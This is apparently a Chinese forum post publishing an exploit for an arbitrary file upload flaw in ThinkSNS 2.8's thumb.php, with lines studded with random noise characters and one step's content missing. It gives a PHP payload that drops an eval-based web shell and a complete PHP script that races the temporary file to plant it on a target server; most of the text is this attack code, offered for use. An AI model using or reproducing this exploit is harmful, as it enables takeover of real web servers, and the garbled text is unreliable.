漏洞版本7 h- `9 m9 N- h" @" C
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
1 \; `: D& b9 h" x1 w漏洞文件
/ X1 a8 Q# l' H U存在漏洞的文件为:thumb.php4 }' K* B- {$ X" Q+ Y
作者:韦鲲鹏( j, o; V+ }7 v+ n
1、 准备如下PHP文件并上传到服务器(自己的)。3 L' h# K. c4 c
文件内容如下:
$ W! _$ Y0 H1 ]: V2 S- ~" Z# C<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
/ l# |! a7 o/ M2、 计算出临时的文件名:
" Q0 K1 R) d: }+ o% D& i) u这里我们可以看文件的99行(刚刚是不是没注意呀!)。
" e4 v2 @/ H S5 M* o! N' l* I- g8 S0 s$ J |: [) H$ E/ l, v' P& P- s3 V
3、 上传临时文件。
3 `0 k3 e5 I% Y- X% T- j1 B! H4、 访问临时文件。/ i: }/ S- L& j4 e J4 G
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)7 ?* M/ Y" s8 q' ^
Exploit文件内容如下:(这个我就不详细解释了)& N; b3 F; w, t
<?php8 l2 A1 X4 g0 a6 ]3 h1 U
error_reporting(0);
1 z. N5 {" f- x# X; Vset_time_limit(0);
& S8 c6 Z( ?: K* h3 ~ini_set(“default_socket_timeout”, 5);
7 u, a. l# o" J6 |# m9 I/ `function http_send($host, $port, $headers) {
3 x8 E" n$ u$ n- R# U. t$fp = fsockopen($host, $port);
4 f/ l- l% Y+ i! d7 v; x; m# ]" {if (!$fp) die(‘Connection -> fail’);$ h: \, t" o4 V9 a# F8 G1 W
fputs($fp, $headers);
: U6 n4 D3 s O; R; \( Sreturn $fp;; W, b. Q: P6 I/ B) p
}7 Z9 E) |8 R5 Z! D
function http_recv($fp) {, T% }: ?1 n/ g4 J
$ret=”";+ W& I( c- ~0 N
while (!feof($fp))7 |0 ]8 v! M3 e0 n& d
$ret.= fgets($fp, 1024);/ h0 H7 [5 P' O4 h$ @
fclose($fp);7 o5 V- t- Q8 W" G- ]& H8 i( F
return $ret;
7 ^9 c1 \' W1 M; p: k; X- @4 D}
' y( `* U+ T0 p" L& v* H+ y6 I8 W$ |print “\n# ThinkSns Arbitrary File Upload #\n”;
# V' R( f1 _( i: X4 ]print “# Discovered by 韦鲲鹏 #\n\n”;; V8 `1 z: J* z1 i4 h
if ($argc < 4) {
, ~; D( N0 ~; j+ N! W( @" o6 E+ aprint “Usage: php <host> <path> <romote_url>\n”;
: I& M" b8 Y" g$ c, _print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
" |# l7 U7 \9 E6 Z* jdie();
$ s5 e% p6 }0 z! c8 m5 @. n: B* c}
& u# L, N3 q) b4 ]+ d5 ]$host = $argv[1];
. e u8 R. I: T$path = $argv[2];% E5 l; q t% @' n. H/ S: m
$url = $argv[3];
8 T" o2 T! H. u8 n+ E3 u$i=0;
& c0 `( t- u) B$ d5 x" |1 ^& n. B: Z//上传数据包
" l5 s: M0 B4 o. A$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
* v5 Y. `) g) R$ J+ d; w$ Z$headers_up .= “Host: “.$host.”\r\n”;
8 L& i& E, Y3 n% K/ c$headers_up .= “Connection: close\r\n\r\n”;
) l r* T, ?# N* I5 p* Kecho $headers_up;
6 C v' a; X3 G5 m5 f//临时文件访问数据包
" \& A/ ?% D. b$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;9 n$ R' @8 [7 k% I3 X x3 f" O
$headers .= “Host: “.$host.”\r\n”;' p* ~- P1 m/ k
$headers .= “Connection: close\r\n\r\n”;- T7 C; u* X- Y) h
echo $headers;2 z2 l* S( j& b# _( h4 X
while(++$i<10) {
7 w4 k7 _: r+ _6 n. _* qfclose(http_send($host, 80, $headers));
$ S( U# g" H) U/ ]# x, {}
& f+ F) k5 U* h* N! Pfclose(http_send($host, 80, $headers_up));+ k6 C/ m5 t& \% D% B5 \
while(++$i<50) {
7 K" ]6 z- D. X* ufclose(http_send($host, 80, $headers));9 i% o' z- l: x
}6 J2 ?. W* F, K2 q
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;. @( }+ e+ V i. ]$ D1 [. W
$headers .= “Host: “.$host.”\r\n”;+ g0 d7 x6 U: o) C
$headers .= “Connection: close\r\n\r\n”;
( h* ?/ F! n# t+ ~7 s+ t$res=http_recv(http_send($host, 80, $headers));: j q6 ~) X: ?2 L
if(preg_match(‘/200 OK/’,$res)) {
# ^7 T" q, Q; Lprint “Success!\n\n”;
! x2 k' V' C$ ~4 U8 _} else {5 A- \" {1 ^ U* [2 g+ [5 O% c
print “Fail!\n\n”;
% n4 @$ }5 [) B" x4 Y* Y6 i}
+ r$ T. Y* f: r4 c6 v9 H?>
- C& s2 s X* i |